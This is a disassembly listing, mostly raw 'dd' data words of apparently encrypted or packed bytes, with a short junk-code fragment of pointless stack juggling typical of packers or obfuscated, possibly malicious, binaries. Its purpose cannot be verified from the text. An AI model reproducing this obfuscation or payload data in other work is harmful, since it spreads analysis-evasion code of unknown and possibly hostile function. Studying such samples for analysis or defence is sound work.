		dd 7629B77Ah, 0F1B95518h, 0BE0E9A5Dh, 56F9BB6Eh, 0A22EF1FCh
		dd 40F4B656h, 693499CAh, 50000001h, 0D9760BEh, 12566857h
		dd 8688C897h, 0ADFDFC13h, 0D8D99CFAh, 5B6B282Ch, 81CD1D65h
		dd 7B354306h, 4636C478h, 0E16F3290h, 540DD02Eh,	662B0AD9h
		dd 0E434F00Bh, 0B662615h, 62EAB3F0h, 64E7C588h,	0FF8AFB2Ah
		dd 68A51AFh, 0C64103B6h, 98A1A268h, 518BDB2Eh, 0A447FD4Dh
		dd 0F07C3F8Ah, 7E4204A4h, 2C8A99CAh, 0A124DA64h, 3Fh, 0CE8D4ABDh
		dd 0C673CFFh, 81D121F6h, 68B43706h, 0B909F60Ch,	67043706h
		dd 14B7F60Ch, 0CDB91E3Ah, 68008352h, 0BA7DF60Ch, 5FFE70ADh
		dd 0FF4B9B54h, 0C7A9h, 216B2E00h, 0E07174D0h, 4A775B11h
		dd 9220E674h, 0C43F8FDFh, 9F25EB49h, 88AA1AE9h,	0F772FC13h
		dd 9A9FFD34h, 4C1B55D7h, 0F00B0DE9h, 96702676h,	0A66DCB46h
		dd 53B1641Ah, 0C6890490h, 8E5D07C2h, 0F00BD1AFh, 149D60B0h
		dd 0D01CD240h, 0A621AF72h, 19D95C2Bh, 0C386F00Bh, 0EA1A8FDBh
		dd 0EAA0F01Ah, 6CDA6837h, 0E5ABF00Bh, 0F1E9AC5Fh, 472B24C5h
		dd 34B881DFh, 0CC660981h, 0B78F320Fh, 5ED9672Ah, 0DFA23E00h
		dd 0FE4E0151h, 0B10DFC48h, 856D3CB7h, 0EEFA1E64h, 0F040CE90h
		dd 651CDF3Dh, 69BA796h,	1868B8F6h, 0B63E0765h, 51DFA503h
		dd 41EC19Eh, 98BC654h, 4E9EE758h, 213F17BAh, 8150CB9Dh
		dd 0FC1320F9h, 0D2B60252h, 0C9A60BEh, 64530959h, 0D0930E5Ah
		dd 0C8E1C8B6h, 0F14413DDh, 6EF60C74h, 8453CE1Eh, 0F60C74B1h
		dd 2DA85EAEh, 19F2945Eh, 0FAADFDFCh, 0FF4BD99Ch, 0D752DEA1h
		dd 792CB079h, 0F1C07329h, 0FD02716Bh, 1EAB8326h, 58845A5Bh
		dd 0BA4AD7h, 26E964B0h,	41CC55CBh, 543E0184h, 78689F7Fh
		dd 0CB8EECA2h, 6EFFC23Dh, 33201BFh, 5CF50396h, 43C8490Ch
		dd 8A05B86Eh, 7FD400Fh,	1BDEF503h, 0B08ADA8Dh, 0A04CAA60h
		dd 14B74BFEh, 60ECAF3Ah, 8F3B9914h, 16D937EDh, 0DA2AB47Ch
		dd 2615E45Fh, 37F50307h, 287E31E7h, 17h, 9760BE44h, 70C3920Dh
		dd 0EDF60C67h, 80FBE79Dh, 22D55B22h, 0DB381CD2h, 7DDB8E2Eh
		dd 1D7B2EBAh, 0B816C957h, 55B366F0h, 0F14F028Eh, 95F3A62Ah
		dd 329043E9h, 0D230E369h, 7ECF8210h, 5E08950h, 4, 8704E883h
		dd 248B2404h, 22D06824h, 4890000h, 6F856824h, 3C890000h
		dd 0D685624h, 5E1B9D19h, 0EE81D6F7h, 29152BF5h,	8103E6C1h
		dd 60AE2CF6h, 5EF089DCh, 243C8B54h, 5004C483h, 8B08478Fh
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5438DD
; ---------------------------------------------------------------------------
		db 5Ah,	99h, 47h
		dd 7F8E34D8h, 7EEFB8F1h, 0C503060Dh, 0AFC9E0FFh, 689C6522h
		dd 2CA12C6Fh, 80FC259Dh, 0D97454E7h, 0A0B51DBBh, 7C445F9Eh
		dd 0F673104Dh, 883A4A6Bh, 8A2D7CC9h, 55F5404Dh,	13EB49E4h
		dd 7E6455FCh, 886D214Fh, 28483F98h, 0B4A542DCh,	525A5F19h
		dd 75723899h, 571825FEh, 2EAF015Ch, 8F691DCFh, 0A37731B2h
		dd 0A99733F5h, 0C75914D6h, 65C17879h, 578B79ABh, 649E7A8Fh
		dd 3D6E129Dh, 75B617BAh, 29B25CD1h, 14E877A2h, 50000000h
		dd 8D1147D8h, 0E145DFBFh, 291B37ACh, 2FC08973h,	0F179FB0h
		dd 28Dh, 5EC6B300h, 81D18B66h, 64F8C6h,	38C0F00h, 0F000000h
		dd 0C02BF9BFh, 0FDCB8166h, 60C8B7Bh, 14E8h, 59DC0800h
		dd 40CD0988h, 113A7FF1h, 0A1D0C50Ah, 9B9F84E8h,	0EE927h
		dd 96B30000h, 0D96E8B71h, 7176E494h, 4626B26Bh,	9FC1815Bh
		dd 8150D01Ah, 90ED5BF1h, 9E81Eh, 3E2B0000h, 8948616Bh
		dd 81992FDFh, 0FF6524F2h, 0C1815B2Bh, 29BFB4DEh, 0D02DB960h
		dd 0F605A8Ah, 84h, 61F78B00h, 11E85161h, 0D9000000h, 84A42B3Ah
		dd 5A9D641Bh, 0F6E7857Ah, 0AE92BCB0h, 48F5FF8h,	83D18B06h
		dd 0AE903E8h, 77000000h, 7BEF2BE3h, 0C96F809Ah,	816648DCh
		dd 81AB40DBh, 0FF9BFCF8h, 56850FFFh, 0E9FFFFFFh, 13h, 51489995h
		dd 0C4436431h, 1C525B23h, 0FE81BAB1h, 8DE94E2Fh, 0D81A18Dh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0BBA668Eh, 0CE8F9h, 288E0000h, 67B21201h
		dd 0A66D42FCh, 0ABEBAFDh, 586BA9B9h, 0A018D89h,	9E80607h
		dd 6F000000h, 3036BD8Dh, 0AB13564Ah, 0C75B34B4h, 714A585h
		dd 602006h, 0F4BA6600h,	0D585C752h, 6072Fh, 0FF000000h
		dd 705E1B5h, 55006A06h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 0E651F72Ch, 0E9F94CB0h, 0Bh, 6964A7D2h
		dd 0CC4A26AEh, 0FFDE2805h, 71C1995h, 5D9D0906h,	6A06072Dh
		dd 6995FF00h, 8B06071Bh, 0B60EEBC0h, 7EDC37D7h,	0DEEC218Eh
		dd 1F952C20h, 508D8D95h, 6A060D82h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 3DC0C357h
		dd 89FCCDF9h, 7011985h,	18D8906h, 8906070Ah, 719E9B5h
		dd 0A585C706h, 40060714h, 0B200006Bh, 0EDB52902h, 0C7060706h
		dd 72FD585h, 6,	7400BF00h, 8B667F66h, 59B5FFDFh, 6A060715h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0EED6C352h, 3AAF936Ch, 8954B2A1h,	7123D8Dh
		dd 1995FF06h, 6606071Ch, 6AFB8Bh, 1B6995FFh, 0C08B0607h
		dd 0A96939EBh, 34CAE0D2h, 3A693830h, 0E412EB5Bh, 0B40A86E4h
		dd 0ACD66C83h, 0D1A18BC2h, 0E6F0EF1Ah, 6A7D421h, 0F9C25AD5h
		dd 4508DE84h, 0D568C1E4h, 0D55BEC4Ch, 7FF73ADDh, 0E91FF1E0h
		dd 15Fh, 60D48B52h, 0E8h, 0ED815D00h, 60D829Ch,	3D08428Bh
		dd 78263845h, 138850Fh,	428B0000h, 184A8B0Ch, 0B4BBC8D3h
		dd 33288481h, 4E883C3h,	0A018589h, 588B0607h, 8BF88B04h
		dd 4A8B1042h, 0BEC8D318h, 9E504E48h, 0C72BC633h, 83FCE083h
		dd 858904E8h, 60714A5h,	8914428Bh, 72FD585h, 18428B06h
		dd 0B0E953h, 0B5FF0000h, 60705E1h, 0B9E9h, 59B5FF00h, 0E9060715h
		dd 0AEh, 2759B5FFh, 0A3E90607h,	0FF000000h, 70319B5h, 98E906h
		dd 0B5FF0000h, 607312Dh, 8DE9h,	0D5B5FF00h, 0E9060713h
		dd 82h,	0B09B5FFh, 77E90607h, 0FF000000h, 7026DB5h, 6CE906h
		dd 0B5FF0000h, 607128Dh, 61E9h,	4DB5FF00h, 0E9060721h
		dd 56h,	19D5B5FFh, 4BE90607h, 0FF000000h, 7010DB5h, 40E906h
		dd 0B5FF0000h, 607045Dh, 35E9h,	49B5FF00h, 0E906071Ah
		dd 2Ah,	0CDDB5FFh, 1FE90607h, 0FF000000h, 7054DB5h, 14E906h
		dd 0D88B0000h, 0BB8h, 0E3F76600h, 82FD8D8Dh, 0C803060Dh
		dd 95FFE1FFh, 6071C19h,	1858B5Bh, 3906070Ah, 850F0458h
		dd 0Fh,	0FF016A53h, 71B6995h, 0E2E95B06h, 61FFFFFFh, 5A61C35Ah
		dd 0D4C96AB8h, 8BE0FF77h, 70F1D85h, 0EB8D8D06h,	89060D83h
		dd 0C38B0141h, 0ABE9h, 2E8D5000h, 72B11C3Fh, 0ACABDA5Fh
		dd 92B395A7h, 95A1F445h, 0ABDA00B3h, 5D20A7ECh,	0F46BB291h
		dd 752096B1h, 0B79B5520h, 0A5BCF26Bh, 94A19692h, 99603A75h
		dd 0BD329FB7h, 0B2E9B599h, 0F292A59Ch, 7695ACA3h, 97B1EFh
		dd 0A5B4F94Eh, 6B5C009Fh, 924AF07Bh, 52D0008Ah,	53F545F3h
		dd 0D979A3F6h, 0AFF144D6h, 41F445E3h, 0B000D77Dh, 6BBF9792h
		dd 0CF60FD75h, 0BCF996BFh, 7D20B293h, 0F79B5720h, 0BD9492ABh
		dd 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h
		dd 7293BCE1h, 97B3EDh, 0E7A601E8h, 83323D94h, 46252D35h
		dd 134EE9h, 86B16800h, 0C2E9060Dh, 68FFF9F7h, 60D87D7h
		dd 0F9F7B8E9h, 88B468FFh, 0AEE9060Dh, 68FFF9F7h, 60D89F4h
		dd 0F9F7A4E9h, 8A6868FFh, 9AE9060Dh, 68FFF9F7h,	60D8B11h
		dd 0F9F790E9h, 8BCD68FFh, 86E9060Dh, 68FFF9F7h,	60D8C70h
		dd 0F9F77CE9h, 8D1368FFh, 72E9060Dh, 68FFF9F7h,	60D8EBFh
		dd 0F9F768E9h, 8F9768FFh, 5EE9060Dh, 68FFF9F7h,	60D90BAh
		dd 0F9F754E9h, 923768FFh, 4AE9060Dh, 68FFF9F7h,	60D941Fh
		dd 0F9F740E9h, 956A68FFh, 36E9060Dh, 29FFF9F7h,	3694E07Ch
		dd 3C9AE674h, 3F9DE973h, 3F9DE993h, 0B6A0EC78h,	78D5495h
		dd 0F955DBBh, 119F65C3h, 18A467C5h, 0FDE59CCh, 0F001E22Ch
		dd 0BE6E5231h, 3924E6FBh, 3EEAC432h, 4D9DEDA0h,	0EA763997h
		dd 8A16D937h, 66EAB10Fh, 61AD63B3h, 0A11C4C72h,	42F87C43h
		dd 0FF894CC7h, 66EEB7EEh, 716A6FA3h, 3CB4ECBBh,	0B101FC13h
		dd 33002FFEh, 43E6F00Bh, 7746C1EBh, 0F00B33C4h,	0F3934999h
		dd 99CA7F31h, 4171h, 744A8D00h,	0FCB679F4h, 0D22097AFh
		dd 0DD602FAAh, 82F60CABh, 32017C32h, 0FC13B9A2h, 7DF8ABFBh
		dd 8B3938BAh, 0B86E074Ch, 0BDE46E9h, 25FDA0F0h,	0CAE79456h
		dd 0E6D499h, 0FB590000h, 0A9F9AC38h, 18DB0FF3h,	0B47BD98Ch
		dd 9457B530h, 0CBA48895h, 89D93117h, 0A8C66FC6h, 671D4BEDh
		dd 0F79356B4h, 0A053A331h, 0A5F17F42h, 0C0172D6h, 0F07C3FF6h
		dd 7F6629A4h, 0E75478DFh, 0DFA200B6h, 8C5BD651h, 0F60CF2A9h
		dd 0FDB066B6h, 3DB8B00Eh, 0DA8D17DFh, 8A59D48Ah, 0FC130D72h
		dd 0A29160DBh, 0BBF00BC2h, 42A01B6Bh, 0F642F896h, 70FAB87Bh
		dd 2301E59Dh, 28407E6Dh, 0DD432ADh, 40F30F14h, 0D929A371h
		dd 5120D626h, 0FA11CA86h, 0E644BF0Fh, 0E745911Fh, 75359420h
		dd 91B4CCB6h, 109988DEh, 0DF8C0000h, 0D193F13Dh, 0D099F743h
		dd 0F6A2004Ch, 0E7AE0C58h, 2230D59h, 327E02C9h,	36820CD4h
		dd 388412D8h, 3D8917DAh, 0BD804FCAh, 0A2F001E1h, 14DBDFC3h
		dd 23E64490h, 22571A95h, 9B81753Dh, 21055107h, 0B9960BEh
		dd 0AA38FA58h, 0A157A7F7h, 874E0CB2h, 5F2EA9F9h, 0FC13757Dh
		dd 0D09F52A2h, 0F00B6A61h, 4E16AA72h, 75C515C8h, 179D64C2h
		dd 0F149EC64h, 0E39638E4h, 57FA4393h, 8B5AD5FFh, 0F00B6AA8h
		dd 0FAF65B5h, 99CA3C4Dh, 0E84B1A95h, 75F00B7Eh,	58DBAA25h
		dd 5F00B7Eh, 0BE7CFFB5h, 98000000h, 0C17443BEh,	9EF60C67h
		dd 9CEC7A40h, 37C588E6h, 0D15F2684h
		dd 6BF94F1Eh, 7CAF60Ch,	0F4A0FE79h, 9147974Ah, 9824E745h
		dd 6FFDBF1Dh, 3B66CBCh,	43BEAA14h, 0C2891DE5h, 0EB3B8B3Eh
		dd 0B732E838h, 43F2C13Ch, 1CF60C64h, 2D4716CCh,	82FC139Bh
		dd 0D6BE632h, 1B0AC044h, 874AC5A3h, 5A6E2527h, 0EF6A202Bh
		dd 116B6A20h, 47FCFFAh,	8143DFA6h, 0A0F040F3h, 0A12FF654h
		dd 0CC667242h, 0F6518B4h, 0F73h, 1B6705B2h, 216DFBBDh
		dd 2672FAC3h, 26721CC8h, 277301C8h, 14DB1C3Dh, 1EE64490h
		dd 28EE4C98h, 2DF04E9Ah, 65E0539Fh, 1E0A796h, 0F5D9B8F0h
		dd 449014DBh, 499523E6h, 7443BE65h, 0F60C67C1h,	3A984E9Eh
		dd 0D836E977h, 0AE8D5C15h, 0AFF60C67h, 65C30F5Fh, 765189Ch
		dd 0B36CB844h, 0B4B40A22h, 7D2A6A39h, 2373FC13h, 8D919F6Eh
		dd 0DB1EB91h, 0EA65E05Bh, 8143181Bh, 32F54507h,	4A72E121h
		dd 3B0AC0F1h, 0D9EF709h, 84732676h, 55B32E3Ah, 8F520593h
		dd 0D2A329F4h, 12C818CDh, 3865C897h, 0BE390B9Ch, 8CF74CEFh
		dd 0BC11107h, 866E131h,	0A503B640h, 4C0252DEh, 0CDB56D1h
		dd 78CF729h, 66B07336h,	9C65DEDFh, 7538964Ch, 7A3D9BE7h
		dd 8F2F8FEEh, 34E7C35Ah, 0E96DEh, 3AE28F00h, 40CE90EEh
		dd 47CD96F4h, 4BF19DFBh, 56DAA1FFh, 0BEFF200Ah,	0BF1D69F7h
		dd 0C3216DF7h, 0CD2B77FDh, 0BF327E0Ah, 0EFC67544h, 0B897F001h
		dd 8C18DBD4h, 0F5ECB311h, 1B7A1497h, 0DC8FDF54h, 3423D68Ch
		dd 9463DE8Ah, 0FC136F8Ch, 8E7DC919h, 0EEBD3830h, 0FA14727Ah
		dd 5DE0AF2Ah, 2F60C6Dh,	0C422FCB2h, 742777FDh, 0C6D9AA5h
		dd 61B95CF6h, 0C3395012h, 599093h, 9A150000h, 0C7168CBh
		dd 0D497F5F6h, 5E42F848h, 7681744Ah, 6B09B98Eh,	0C47715C1h
		dd 59D42474h, 13A2118Ah, 8F5ED9FCh, 0F00B3DACh,	3DF24110h
		dd 1B6BF00Bh, 613BF141h, 0BD1B9611h, 5BB96FF5h,	0F4C30F95h
		dd 0F00B3D43h, 0F743D194h, 0CE5C1E7Ch, 6EF4BA18h, 0DC565BBh
		dd 0BE810000h, 67C17443h, 4E9EF60Ch, 0E69C2AF0h, 26A1C7F7h
		dd 19EC8357h, 4DC818FCh, 7D51CA8Ah, 661CFFDEh, 3ECA8DEBh
		dd 0D0D194F2h, 0A9673020h, 15E45FC5h, 0F0019F26h, 0E497E737h
		dd 249FC9F5h, 1413E255h, 0A82373FAh, 7EF9874Ah,	1B013403h
		dd 0E5EF60Ch, 0EBAE0C58h, 3BBAA5Dh, 0B51BEA65h,	0E2FC13EBh
		dd 0D5953392h, 0C679AED3h, 0D5670h, 7A22CF00h, 800ED02Eh
		dd 870DD634h, 8B31DD3Bh, 961AE13Fh, 0FE3F604Ah,	0FF5DA937h
		dd 361AD37h, 0D6BB73Dh,	0FF72BE4Ah, 0EE86B584h,	0F8D7F001h
		dd 67C76A14h, 91EFF60Ch, 439346CAh, 48209E8Dh, 0ECC3FECDh
		dd 0E434FC19h, 0BC480B69h, 0C14F1270h, 0C99F1F0Eh, 0F9917F4Eh
		dd 0A806FA1Eh, 2AA558E6h, 6F6D85Bh, 0E53585F6h,	979C3695h
		dd 0B76AB4D0h, 0CE261h,	0F6964300h, 0FC8A4CAAh,	38952B0h
		dd 0FAD59B7h, 129E65C3h, 82BBDCC6h, 8BE935BBh, 8FED39C3h
		dd 91EF3BC9h, 83F642CEh, 0EDFA3908h, 8463F001h,	8C18DBA0h
		dd 2CB87BD9h, 27FFA279h, 0C32A9658h, 6C8D693h, 0BEF20000h
		dd 5B0E9860h, 60B034FDh, 6503BBAAh, 0ECF11BEAh,	0E5EFC19h
		dd 0E86C3593h, 0B42FE535h, 3B907639h, 574C9183h, 0F48043A1h
		dd 0F9874AA8h, 0CC87746h, 3688F001h, 88D85E24h,	0E7CF920Dh
		dd 7BA92EE4h, 58C8974Dh, 2CFA1E48h, 4753E2B1h, 0C088F606h
		dd 560C5C36h, 0FCD2C7Ch, 0CBB4D109h, 0C39C218h,	3FEC0000h
		dd 31F3519Dh, 30F957A3h, 560260ACh, 470E6CB8h, 62836DB9h
		dd 92DE6229h, 96E26C34h, 98E47238h, 9DE9773Ah, 5DE0AF2Ah
		dd 2F001ECh, 43BE3F23h,	29805E80h, 3A093AE3h, 0F60C63FBh
		dd 5E1464h, 0B934AF3Dh,	3D0C985Bh, 0F60C63FEh, 0D88B19DBh
		dd 8E50AE88h, 0ADFD4D00h, 6BC944F7h, 56319A3h, 2C03B642h
		dd 20E2B189h, 6093C32Fh, 5F2h, 67C76A7Ch, 437BF60Ch, 854CAA25h
		dd 673605D4h, 0D727F60Ch, 0CE84D487h, 8E5DD853h, 0F60C67AFh
		dd 0DBAA60B0h, 0FC19ECF1h, 35930E5Eh, 3C9AE672h, 4938EB79h
		dd 0A978F375h, 0FA1EF9A7h, 0A541A0F0h, 49B4D098h, 0B7D4096h
		dd 0FBA80000h, 0E5A70551h, 0E4AD0B57h, 0AB61460h, 0F3BA1864h
		dd 1637216Dh, 36820ED5h, 3A8610D8h, 449016DCh, 499523E6h
		dd 0A98C5BD6h, 0B6F001ECh, 18DBF3D7h, 774E118Ch, 9DAA09Eh
		dd 10C34912h, 501270C0h, 9BF0FC2h, 0A735F856h, 48CE96F4h
		dd 7432D295h, 0F5A5965h, 0AF62EEB1h, 80F04AEDh,	7113B344h
		dd 704797E8h, 642675CDh, 0A493C3FFh, 536h, 0F4744AC0h
		dd 0EC19AA79h, 1262FC19h, 0EA763997h, 0EF7D409Eh, 0E3C26D3Ch
		dd 407EF001h, 72DEAD28h, 0A3FA1EF9h, 97FCF453h,	0DF92B4D0h
		dd 0ADA89h, 0FE9E4B00h,	49254B2h, 0B915AB8h, 17B561BFh
		dd 1AA66DCBh, 8AC3E4CEh, 93F13DC3h, 97F541CBh, 99F743D1h
		dd 8BFE4AD6h, 0EBF24110h, 8C6BF001h, 9860BEA8h,	0AD0B5B0Eh
		dd 46A45AE6h, 0E442F583h, 9E09321h, 0FDBFCC66h,	3D93C32Ah
		dd 4B6h, 9860BE59h, 0AB89580Eh,	9FF60C67h, 70CE491Fh, 0E6C1FADh
		dd 0BB0BBE4Ch, 6B3AB56Bh, 0FC19EC77h, 0B3118CDCh, 0BA1864F0h
		dd 3BB669F7h, 0E342F1C0h, 0CB1BF001h, 0E3B28150h, 5BABF001h
		dd 6008B6A5h, 44616E5h,	87D7FA1Eh, 0D08CD228h, 2B8134B4h
		dd 0A37h, 4F9B41EEh, 55A12FF1h,	5AA62EF7h, 62AE50FCh, 6BB73D04h
		dd 60276081h, 622A88D4h, 6C3290DCh, 793C9AE6h, 0B12C9FEBh
		dd 1EA53E2h, 492D0CF0h,	88B1FBBEh, 50DB9A84h, 0EB793C9Ah
		dd 0C14F1270h, 37FA580Bh, 0F58CAF7Eh, 8A4DF60Ch, 84D424FEh
		dd 0D26C0FD1h, 0A5A027EAh, 0A4ED501Fh, 2272F60Ch, 0FBCF7D5Fh
		dd 9824E745h, 7F235A1Dh, 0BB284774h, 5719B905h,	9793C343h
		dd 17Ch, 8C18DBB3h, 3E005ED9h, 4D7EFA3Dh, 0B1018543h, 5205A753h
		dd 2BEE4C02h, 8A3DC78Fh, 8C3649C7h, 53A3935Fh, 0B62A09D8h
		dd 0E333F60Ch, 6ECC4793h, 75641AA8h, 0D5A41F49h, 0FC13BB9Bh
		dd 0E13C884Bh, 1C88D6FBh, 13710059h, 0EC40CFEh,	0B69E434h
		dd 8B06B943h, 0BD479BCh, 4696E6F0h, 2FD26083h, 0E79DEB5Bh
		dd 0B2DA6534h, 791CF00Bh, 10D2A1h, 325099CBh, 6C000000h
		dd 79F4744Ah, 13752AAAh, 29F873FCh, 0F00B6A0Ah,	0B30353h
		dd 0B6A0E31h, 0ED45E8F0h, 0CA3BDC9Eh, 0CB1C99h,	26A10000h
		dd 0B7EE457h, 732979F0h, 8C18DB8Fh, 6507B311h, 18E762B2h
		dd 0F60C6725h, 8134EA3Ah, 25D85C23h, 0C57804C7h, 0CC18A467h
		dd 0C923BFDh, 57E5A8F6h, 53A21C0Bh, 400FB588h, 0F60C85FDh
		dd 844F1262h, 7BF64618h, 0F4BD711Dh, 1D6DBD70h,	0B56BF9BFh
		dd 87396B3Ah, 87E5FC16h, 308033C1h, 0D1840AD2h,	93F1CB81h
		dd 77F242CAh, 83B281FCh, 0DCF00558h, 0B178D68Ch, 0FE5CD723h
		dd 98F6AC52h, 0D46E35D1h, 0E737870Dh, 0D1EA7C88h, 0A1F7AAAEh
		dd 88Bh, 34FED9Ah, 955E3A5h, 0E5AE2ABh,	0E5A04B0h, 0F5BE9B0h
		dd 0FCC30425h, 6CE2C78h, 10D63480h, 15D83682h, 4DC83B87h
		dd 1E9BF7Eh, 0DDC1A0F0h, 449014DBh, 499523E6h, 8C18DB65h
		dd 2CB87BD9h, 410765E0h, 6BA7FDB3h, 0C3000002h,	9C9D60BEh
		dd 0A9426B35h, 5A0D5D56h, 5AE4AC0Ah, 0B2A157A7h, 12E15C0Ch
		dd 0FC1329C6h, 7D4CFF4Fh, 0F00B26B2h, 0EAB99134h, 99CA7028h
		dd 5A20AD70h, 2CF6D673h, 1D9F376h, 0BE0F0000h, 570D9760h
		dd 0C67B288h, 3C2C92F6h, 0ECF2F2C1h, 0FB4BFC19h, 7360580h
		dd 58F001E3h, 5CD75208h
		dd 0DDA03CFEh, 0EB49FF4Fh, 0F2509C28h, 0FFEEA12Fh, 4BD99BBFh
		dd 7DF84898h, 58DEA402h, 401D3A2h, 4E9EFA1Eh, 0D08D1FEFh
		dd 0EE44F7B4h, 7B3h, 0DB27C572h, 0E12DBB7Dh, 0E632BA83h
		dd 0E632DC88h, 0E733C188h, 0D49BDCFDh, 0DEA60450h, 0E8AE0C58h
		dd 0EDB00E5Ah, 25A0135Fh, 1E8E756h, 0B59978F0h,	0D98C18DBh
		dd 0B12CB87Bh, 0D8F7AFEEh, 0CB815EC9h, 9BB35618h, 0B1FD8B4Eh
		dd 0C38C4F11h, 1358F93h, 51140000h, 0FFA2F86Fh,	694D039Dh
		dd 926118DBh, 0F60C67A3h, 8E28C38h, 57B568B8h, 0AD33FA94h
		dd 0E5AAAFAh, 4EC99F1Fh, 136A417Fh, 0B366B6FCh,	0B655DE4h
		dd 5D209BF0h, 0D08BDA78h, 921CE4A2h, 893F8FDFh,	6644CE6h
		dd 55E3A65Ah, 4F0252A2h, 0F2A52BF1h, 0FC9C52A2h, 99CB043Ah
		dd 257Ah, 744A9600h, 2AAA79F4h,	73FC1375h, 9EA17023h, 58F00B6Ah
		dd 4C0E9DB5h, 8C99CA3Ch, 98h, 67EDB311h, 18DBCDB1h, 0B47BD98Ch
		dd 5C1F7D30h, 30F755D0h, 0EBA1F1A4h, 8917DA38h,	0BA3A6E3Dh
		dd 4407F60Ch, 0EA7A3DB8h, 0B4563D63h, 23125E14h, 8352CD9Bh
		dd 0FC16E341h, 95F36EBEh, 0E86E34CEh, 4995E535h, 41A024EBh
		dd 0AED1CED7h, 9072C87Bh, 95000006h, 9AF844E8h,	0A0FE4AD8h
		dd 0A3014DD7h, 0AB0955F7h, 2A1460E4h, 7B09D009h, 8309D12Fh
		dd 8D13D937h, 9420E341h, 8B5AD548h, 0F001F7A8h,	0DBF2D6B5h
		dd 0E6449014h, 571A9523h, 0D783ADF7h, 0A3F47235h, 0A488D48Ah
		dd 0D98C18DBh, 0B12CB87Bh, 0A58672EEh, 128DAC57h, 0C85F043h
		dd 671D6DF6h, 58C51Bh, 0BEE10000h, 5A0D9760h, 33F6540Ah
		dd 0DCABBB32h, 479726D3h, 0B38251CCh, 0ACF60CF2h, 0F2D36231h
		dd 3C8CF60Ch, 970029ECh, 0FCD5C693h, 72359346h,	40BB33E6h
		dd 0C4871BE2h, 0E5358538h, 55E8B732h, 0AF60CA7h, 11B46ABAh
		dd 5BE9AC39h, 32C082E0h, 2D792F7Fh, 25D7h, 18DBF300h, 260AD98Ch
		dd 59F60C67h, 8E519CB6h, 4964FE8Fh, 57A77DE1h, 1ED27EDCh
		dd 0C919CC72h, 0C076C679h, 18DB9074h, 0D4EAD98Ch, 59561994h
		dd 40F3C2F8h, 1DF60C50h, 6C200ACDh, 0E6B530E6h,	0FC19A830h
		dd 239E1969h, 0C37602C5h, 64179D65h, 0B00EC414h, 68A51EDh
		dd 490C6AB6h, 0A659E7ADh, 0C88B0656h, 0BB036DB4h, 0C98FED4Eh
		dd 57D2853Bh, 0F7AA36F9h, 2B8EAD7Ch, 7FCFF001h,	56E5B42Fh
		dd 7F0012Bh, 0AC1201B7h, 0D5DEBAEh, 0A774C392h,	91E1FA14h
		dd 67F5B816h, 6EFABD1Bh, 847D40BBh, 9022CFF4h, 2498475h
		dd 32BA783Fh, 37318D7Ch, 6EE3EDBCh, 0E434FC13h,	0D3539D85h
		dd 0C016C9AEh, 513h, 7BC76512h,	81CD5B1Dh, 86D25A23h, 86D27C28h
		dd 87D36128h, 743B7C9Dh, 7E46A4F0h, 884EACF8h, 8D50AEFAh
		dd 0C540B3FFh, 1F547F6h, 553918F0h, 408C18DBh, 0DE911FE2h
		dd 0B23E0563h, 4DDB9EFCh, 1D35D89Ah, 47F0DD0h, 677BBA89h
		dd 69E4F60Ch, 0C679B9Ah, 2474C4F6h, 2CA7226Eh, 0C67DE5Dh
		dd 792F7FF6h, 0C32F17D9h, 565793h, 4A730000h, 0FE79F474h
		dd 0C670C2Fh, 4B0151F6h, 0B38801D0h, 91E1FC13h,	66F0B816h
		dd 32AD63B3h, 0E9259B7h, 0AE34FA58h, 810FD533h,	2C043706h
		dd 959F00Bh, 7380753h, 0D8F00B2Ch, 0DD3B8715h, 80D68917h
		dd 45Fh, 78BB8A05h, 0E5F00B2Ch,	8336BE87h, 492DE333h, 0C17443BEh
		dd 0B5F60C67h, 0F71E1473h, 0C919F3C6h, 66F2B513h, 939255B3h
		dd 3E3C2C19h, 47CE918Eh, 92F64C81h, 2BA6F242h, 0CA7D0BCDh
		dd 0E9D5C47Ah, 0FB35047Fh, 4CFC13DEh, 0D13302D1h, 0DC2CF00Bh
		dd 270AD98Ch, 0C1F00BD1h, 0B577041Eh, 0F599CAE0h, 53h
		dd 0F4744A11h, 953BFE79h, 393BE8B7h, 353D9A1h, 0A258DCA5h
		dd 1302C1D3h, 5B0E5EFCh, 0B1DA58Ch, 0E0662EF0h,	908CF2Dh
		dd 1B5A5227h, 0DC8FDFF0h, 6A69C164h, 0D7A47E21h, 99CADD15h
		dd 2013E25Dh, 3DF00BDDh, 0D4B437EDh, 39000000h,	0DD9014DBh
		dd 0DBF3D78Dh, 0B3118C18h, 0EEB164F0h, 28D45BC3h, 0D48ADA12h
		dd 9C48A621h, 39EF3FF2h, 0DD9014DBh, 0A705BC7Fh, 0AA8958E4h
		dd 0B3F60C49h, 2601363h, 0EA65B13Fh, 8C3FC58Ch,	91B7863Ch
		dd 62F60C45h, 67C5119Fh, 766518A4h, 2AA52048h, 42373367h
		dd 4C02D73Ch, 135FDB7Dh, 0B0FC4CFCh, 0F06BFDC1h, 11E4ED21h
		dd 7BF646FAh, 13C9571Dh, 0ED733A98h, 0F87C43A1h, 0CCCD9399h
		dd 9EF4A7B4h, 32Bh, 63AF4DFAh, 69B54305h, 6EBA420Bh, 6EBA6410h
		dd 6FBB4910h, 5C236485h, 662E8CD8h, 703694E0h, 753896E2h
		dd 0AD289BE7h, 1F35FDEh, 3D2100F0h, 449014DBh, 0C18723E6h
		dd 23D66225h, 80D083D3h, 84D45A22h, 80084609h, 4DCAAB4Bh
		dd 4A674B97h, 1B79F474h, 0CD1DD054h, 2EFD5D0Ah,	762CEECEh
		dd 0BFA82CFBh, 0A5F5FC13h, 7A04CC2Ah, 0EC177C7h, 0BA0F03Fh
		dd 0FB53F6F0h, 0CAF5EAACh, 1122A99h, 0BE460000h, 0F9D9E60h
		dd 12BD62F0h, 0EE3EF141h, 8917DA38h, 5DE7B00Eh,	0FC8A4CAAh
